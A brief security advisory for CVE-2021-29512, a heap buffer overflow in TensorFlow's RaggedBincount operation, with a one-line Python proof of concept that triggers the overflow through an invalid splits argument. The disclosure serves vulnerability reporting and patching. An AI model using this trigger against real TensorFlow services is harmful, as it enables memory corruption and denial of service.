CVE-2021-29512: Heap buffer overflow in `RaggedBinCount`

(updated )

If the splits argument of RaggedBincount does not specify a valid SparseTensor, then an attacker can trigger a heap buffer overflow:

import tensorflow as tf
tf.raw_ops.RaggedBincount(splits=[0], values=[1,1,1,1,1], size=5, weights=[1,2,3,4], binary_output=False)
